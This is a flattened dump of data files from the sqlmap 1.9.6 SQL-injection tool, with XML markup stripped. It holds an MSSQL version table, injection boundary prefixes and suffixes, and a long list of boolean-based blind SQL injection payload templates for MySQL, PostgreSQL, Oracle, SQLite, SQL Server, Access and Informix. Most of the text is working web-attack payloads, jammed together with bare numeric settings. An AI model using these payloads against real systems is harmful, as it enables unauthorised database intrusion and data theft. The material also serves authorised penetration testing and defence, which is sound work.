3+Q817464 8.00.794 3+Q817464 8.00.791 3+Q815249 8.00.790 3+Q817081 8.00.789 3+Q816840 8.00.788 3+Q816985 8.00.781 3+Q815057 8.00.780 3+Q816084 8.00.779 3+Q814035 8.00.776 3+Unidentified 8.00.775 3+Q815115 8.00.769 3+Q814889 8.00.765 < 8.00.763 3+Q814113 8.00.762 3+Q814032 8.00.760 3 8.00.743 2+Q818406 8.00.741 2+Q818096 8.00.736 2+Q816937 8.00.735 2+Q814889 8.00.733 2+Q813759 8.00.730 2+Q813769 8.00.728 2+Q814460 8.00.725 2+Q812995 8.00.723 2+Q812798 8.00.721 2+Q812250 8.00.718 2+Q811703 8.00.715 2+Q810688 8.00.714 2+Q811478 8.00.713 2 8.00.710 2 8.00.705 2+Q810920 8.00.703 2+Q810526 8.00.702 2+Q328551 8.00.701 2+Q810026 8.00.700 2+Q810072 8.00.696 2+Q810052 8.00.695 2+Q331885 8.00.693 2+Q330212 8.00.689 2+Q329499 8.00.688 2+Q329487 8.00.686 2+Q316333 8.00.682 3+Q319851 8.00.679 2+Q316333 8.00.678 2+Q328354 8.00.667 2+8 8.00.665 2+8 8.00.661 2+Q326999 8.00.655 2+7 8.00.652 2+Q810010? 8.00.650 2+Q322853 8.00.644 2+Q324186 8.00.608 2+Q319507 8.00.604 2+3 8.00.594 2+Q319477 8.00.578 2+Q317979 8.00.561 2+1 8.00.558 2+Q314003 8.00.552 2+Q313002 8.00.534 2.01 8.00.532 2 8.00.475 1+1 8.00.474 1+Q315395 8.00.473 1+Q314003 8.00.471 1+Q313302 8.00.469 1+Q313005 8.00.452 1+Q308547 8.00.444 1+Q307540 8.00.443 1+Q307538 8.00.428 1+Q304850 8.00.384 1 8.00.287 0+Q297209 8.00.251 0+Q300194 8.00.250 0+Q291683 8.00.249 0+Q288122 8.00.239 0+Q285290 8.00.233 0+Q282416 8.00.231 0+Q282279 8.00.226 0+Q278239 8.00.225 0+Q281663 8.00.223 0+Q280380 8.00.222 0+Q281769 8.00.218 0+Q279183 8.00.217 0+Q279293 8.00.211 0+Q276329 8.00.210 0+Q275900 8.00.205 0+Q274330 8.00.204 0+Q274329 8.00.194 0 8.00.190 Gold, no 8.00.100 Beta 2 8.00.078 EAP5 8.00.047 EAP4 sqlmap-1.9.6/data/xml/banner/mysql.xml000066400000000000000000000056141502261744200177020ustar00rootroot00000000000000 sqlmap-1.9.6/data/xml/banner/oracle.xml000066400000000000000000000002361502261744200177750ustar00rootroot00000000000000 sqlmap-1.9.6/data/xml/banner/postgresql.xml000066400000000000000000000005071502261744200207340ustar00rootroot00000000000000 sqlmap-1.9.6/data/xml/banner/server.xml000066400000000000000000000753231502261744200200470ustar00rootroot00000000000000 sqlmap-1.9.6/data/xml/banner/servlet-engine.xml000066400000000000000000000014451502261744200214620ustar00rootroot00000000000000 sqlmap-1.9.6/data/xml/banner/set-cookie.xml000066400000000000000000000040331502261744200205710ustar00rootroot00000000000000 sqlmap-1.9.6/data/xml/banner/sharepoint.xml000066400000000000000000000003621502261744200207040ustar00rootroot00000000000000 sqlmap-1.9.6/data/xml/banner/x-aspnet-version.xml000066400000000000000000000003511502261744200217500ustar00rootroot00000000000000 sqlmap-1.9.6/data/xml/banner/x-powered-by.xml000066400000000000000000000031611502261744200210520ustar00rootroot00000000000000 sqlmap-1.9.6/data/xml/boundaries.xml000066400000000000000000000357051502261744200174270ustar00rootroot00000000000000 3 1 1,2 1 ) [GENERIC_SQL_COMMENT] 4 1 1,2 2 ') [GENERIC_SQL_COMMENT] 3 1,2,3 1,2 2 ' [GENERIC_SQL_COMMENT] 5 1 1,2 4 " [GENERIC_SQL_COMMENT] 1 1 1,2 1 ) AND ([RANDNUM]=[RANDNUM] 2 1 1,2 1 )) AND (([RANDNUM]=[RANDNUM] 3 1 1,2 1 ))) AND ((([RANDNUM]=[RANDNUM] 1 0 1,2,3 1 1 1 1,2 2 ') AND ('[RANDSTR]'='[RANDSTR] 2 1 1,2 2 ')) AND (('[RANDSTR]'='[RANDSTR] 3 1 1,2 2 '))) AND ((('[RANDSTR]'='[RANDSTR] 1 1 1,2 2 ' AND '[RANDSTR]'='[RANDSTR] 2 1 1,2 3 ') AND ('[RANDSTR]' LIKE '[RANDSTR] 3 1 1,2 3 ')) AND (('[RANDSTR]' LIKE '[RANDSTR] 4 1 1,2 3 '))) AND ((('[RANDSTR]' LIKE '[RANDSTR] 2 1 1,2 3 %' AND '[RANDSTR]%'='[RANDSTR] 2 1 1,2 3 ' AND '[RANDSTR]' LIKE '[RANDSTR] 2 1 1,2 4 ") AND ("[RANDSTR]"="[RANDSTR] 3 1 1,2 4 ")) AND (("[RANDSTR]"="[RANDSTR] 4 1 1,2 4 "))) AND ((("[RANDSTR]"="[RANDSTR] 2 1 1,2 4 " AND "[RANDSTR]"="[RANDSTR] 3 1 1,2 5 ") AND ("[RANDSTR]" LIKE "[RANDSTR] 4 1 1,2 5 ")) AND (("[RANDSTR]" LIKE "[RANDSTR] 5 1 1,2 5 "))) AND ((("[RANDSTR]" LIKE "[RANDSTR] 3 1 1,2 5 " AND "[RANDSTR]" LIKE "[RANDSTR] 1 1 1,2 1 [GENERIC_SQL_COMMENT] 3 1 1,2 1 # [RANDSTR] 3 1 1,2 2 ' OR '[RANDSTR1]'='[RANDSTR2] 5 9 1,2 2 ') WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 5 9 1,2 2 ") WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 4 9 1,2 1 ) WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 4 9 1,2 2 ' WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 5 9 1,2 4 " WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 4 9 1,2 1 WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 5 9 1 2 '||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] )||' 5 9 1 2 '||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM] )||' 5 9 1 2 '+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] )+' 5 9 1 2 ||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM] )|| 5 9 1 2 ||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] )|| 5 9 1 1 +(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM] )+ 5 9 1 2 +(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] )+ 5 1 1,2 2 ')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 5 1 1,2 2 ")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 5 1 1,2 1 )) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 4 1 1,2 2 ') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 5 1 1,2 4 ") AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 4 1 1,2 1 ) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 4 1 1 1 ` WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 5 1 1 1 `) WHERE [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] 4 8 1 6 `=`[ORIGINAL]` AND `[ORIGINAL]`=`[ORIGINAL] 5 8 1 6 "="[ORIGINAL]" AND "[ORIGINAL]"="[ORIGINAL] 5 8 1 6 ]-(SELECT 0 WHERE [RANDNUM]=[RANDNUM] )|[[ORIGINAL] 5 7 1 3 [RANDSTR1], [RANDSTR2] 4 1 1 2 ' IN BOOLEAN MODE) # sqlmap-1.9.6/data/xml/errors.xml000066400000000000000000000223271502261744200166040ustar00rootroot00000000000000 sqlmap-1.9.6/data/xml/payloads/000077500000000000000000000000001502261744200163545ustar00rootroot00000000000000sqlmap-1.9.6/data/xml/payloads/boolean_blind.xml000066400000000000000000001652671502261744200217060ustar00rootroot00000000000000 AND boolean-based blind - WHERE or HAVING clause 1 1 1 1,8,9 1 AND [INFERENCE] AND [RANDNUM]=[RANDNUM] AND [RANDNUM]=[RANDNUM1] OR boolean-based blind - WHERE or HAVING clause 1 1 3 1,9 2 OR [INFERENCE] OR [RANDNUM]=[RANDNUM] OR [RANDNUM]=[RANDNUM1] OR boolean-based blind - WHERE or HAVING clause (NOT) 1 3 3 1,9 1 OR NOT [INFERENCE] OR NOT [RANDNUM]=[RANDNUM] OR NOT [RANDNUM]=[RANDNUM1] AND boolean-based blind - WHERE or HAVING clause (subquery - comment) 1 2 1 1,8,9 1 AND [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) [GENERIC_SQL_COMMENT] AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) OR boolean-based blind - WHERE or HAVING clause (subquery - comment) 1 2 3 1,9 2 OR [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) [GENERIC_SQL_COMMENT] OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) AND boolean-based blind - WHERE or HAVING clause (comment) 1 2 1 1 1 AND [INFERENCE] AND [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] AND [RANDNUM]=[RANDNUM1] OR boolean-based blind - WHERE or HAVING clause (comment) 1 2 3 1 2 OR [INFERENCE] OR [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] OR [RANDNUM]=[RANDNUM1] OR boolean-based blind - WHERE or HAVING clause (NOT - comment) 1 4 3 1 1 OR NOT [INFERENCE] OR NOT [RANDNUM]=[RANDNUM] [GENERIC_SQL_COMMENT] OR NOT [RANDNUM]=[RANDNUM1] AND boolean-based blind - WHERE or HAVING clause (MySQL comment) 1 3 1 1 1 AND [INFERENCE] AND [RANDNUM]=[RANDNUM] # AND [RANDNUM]=[RANDNUM1]

MySQL
OR boolean-based blind - WHERE or HAVING clause (MySQL comment) 1 3 3 1 2 OR [INFERENCE] OR [RANDNUM]=[RANDNUM] # OR [RANDNUM]=[RANDNUM1]
MySQL
OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) 1 3 3 1 1 OR NOT [INFERENCE] OR NOT [RANDNUM]=[RANDNUM] # OR NOT [RANDNUM]=[RANDNUM1]
MySQL
AND boolean-based blind - WHERE or HAVING clause (Microsoft Access comment) 1 3 1 1 1 AND [INFERENCE] AND [RANDNUM]=[RANDNUM] %16 AND [RANDNUM]=[RANDNUM1]
Microsoft Access
OR boolean-based blind - WHERE or HAVING clause (Microsoft Access comment) 1 3 3 1 2 OR [INFERENCE] OR [RANDNUM]=[RANDNUM] %16 OR [RANDNUM]=[RANDNUM1]
Microsoft Access
MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause 1 2 1 1,2,3 1 RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END)) RLIKE (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 0x28 END)) RLIKE (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 0x28 END))
MySQL
MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET) 1 3 1 1,2,3,8 1 AND MAKE_SET([INFERENCE],[RANDNUM]) AND MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1]) AND MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1])
MySQL
MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET) 1 3 3 1,2,3 2 OR MAKE_SET([INFERENCE],[RANDNUM]) OR MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1]) OR MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1])
MySQL
MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT) 1 4 1 1,2,3,8 1 AND ELT([INFERENCE],[RANDNUM]) AND ELT([RANDNUM]=[RANDNUM],[RANDNUM1]) AND ELT([RANDNUM]=[RANDNUM1],[RANDNUM1])
MySQL
MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT) 1 4 3 1,2,3 2 OR ELT([INFERENCE],[RANDNUM]) OR ELT([RANDNUM]=[RANDNUM],[RANDNUM1]) OR ELT([RANDNUM]=[RANDNUM1],[RANDNUM1])
MySQL
MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 1 5 1 1,2,3,8 1 AND EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END) AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END) AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)
MySQL
MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 1 5 3 1,2,3,8 2 OR EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END) OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END) OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)
MySQL
PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST) 1 2 1 1,8 1 AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL
PostgreSQL
PostgreSQL OR boolean-based blind - WHERE or HAVING clause (CAST) 1 3 3 1 2 OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL
PostgreSQL
Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN) 1 2 1 1 1 AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL
Oracle
Oracle OR boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN) 1 3 3 1 2 OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL
Oracle
SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON) 1 2 1 1 1 AND CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END AND CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END AND CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END
SQLite
SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON) 1 3 3 1 2 OR CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END OR CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END OR CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END
SQLite
Boolean-based blind - Parameter replace (original value) 1 1 1 1,2,3 3 (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END)) MySQL boolean-based blind - Parameter replace (MAKE_SET) 1 4 1 1,2,3 3 MAKE_SET([INFERENCE],[RANDNUM]) MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1]) MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1])
MySQL
MySQL boolean-based blind - Parameter replace (MAKE_SET - original value) 1 5 1 1,2,3 3 MAKE_SET([INFERENCE],[ORIGVALUE]) MAKE_SET([RANDNUM]=[RANDNUM],[ORIGVALUE]) MAKE_SET([RANDNUM]=[RANDNUM1],[ORIGVALUE])
MySQL
MySQL boolean-based blind - Parameter replace (ELT) 1 4 1 1,2,3 3 ELT([INFERENCE],[RANDNUM]) ELT([RANDNUM]=[RANDNUM],[RANDNUM1]) ELT([RANDNUM]=[RANDNUM1],[RANDNUM1])
MySQL
MySQL boolean-based blind - Parameter replace (ELT - original value) 1 5 1 1,2,3 3 ELT([INFERENCE],[ORIGVALUE]) ELT([RANDNUM]=[RANDNUM],[ORIGVALUE]) ELT([RANDNUM]=[RANDNUM1],[ORIGVALUE])
MySQL
MySQL boolean-based blind - Parameter replace (bool*int) 1 4 1 1,2,3 3 ([INFERENCE])*[RANDNUM] ([RANDNUM]=[RANDNUM])*[RANDNUM1] ([RANDNUM]=[RANDNUM1])*[RANDNUM1]
MySQL
MySQL boolean-based blind - Parameter replace (bool*int - original value) 1 5 1 1,2,3 3 ([INFERENCE])*[ORIGVALUE] ([RANDNUM]=[RANDNUM])*[ORIGVALUE] ([RANDNUM]=[RANDNUM1])*[ORIGVALUE]
MySQL
PostgreSQL boolean-based blind - Parameter replace 1 3 1 1,2,3 3 (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END))
PostgreSQL
PostgreSQL boolean-based blind - Parameter replace (original value) 1 4 1 1,2,3 3 (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))
PostgreSQL
PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES) 1 5 1 1,2,3 3 (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1) (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1) (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)
PostgreSQL
PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES - original value) 1 5 1 1,2,3 3 (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1) (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1) (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)
PostgreSQL
Microsoft SQL Server/Sybase boolean-based blind - Parameter replace 1 3 1 1,3 3 (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value) 1 4 1 1,3 3 (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
Microsoft SQL Server Sybase
Oracle boolean-based blind - Parameter replace 1 3 1 1,3 3 (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
Oracle
Oracle boolean-based blind - Parameter replace (original value) 1 4 1 1,3 3 (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
Oracle
Informix boolean-based blind - Parameter replace 1 3 1 1,3 3 (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)
Informix
Informix boolean-based blind - Parameter replace (original value) 1 4 1 1,3 3 (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)
Informix
Microsoft Access boolean-based blind - Parameter replace 1 3 1 1,3 3 IIF([INFERENCE],[RANDNUM],1/0) IIF([RANDNUM]=[RANDNUM],[RANDNUM],1/0) IIF([RANDNUM]=[RANDNUM1],[RANDNUM],1/0)
Microsoft Access
Microsoft Access boolean-based blind - Parameter replace (original value) 1 4 1 1,3 3 IIF([INFERENCE],[ORIGVALUE],1/0) IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0) IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0)
Microsoft Access
Boolean-based blind - Parameter replace (DUAL) 1 2 1 1,2,3 3 (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) Boolean-based blind - Parameter replace (DUAL - original value) 1 3 1 1,2,3 3 (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END) Boolean-based blind - Parameter replace (CASE) 1 2 1 1,3 3 (CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE NULL END) (CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE NULL END) (CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE NULL END) Boolean-based blind - Parameter replace (CASE - original value) 1 3 1 1,3 3 (CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END) (CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END) (CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END) MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause 1 2 1 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
MySQL >= 5.0
MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value) 1 3 1 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
MySQL >= 5.0
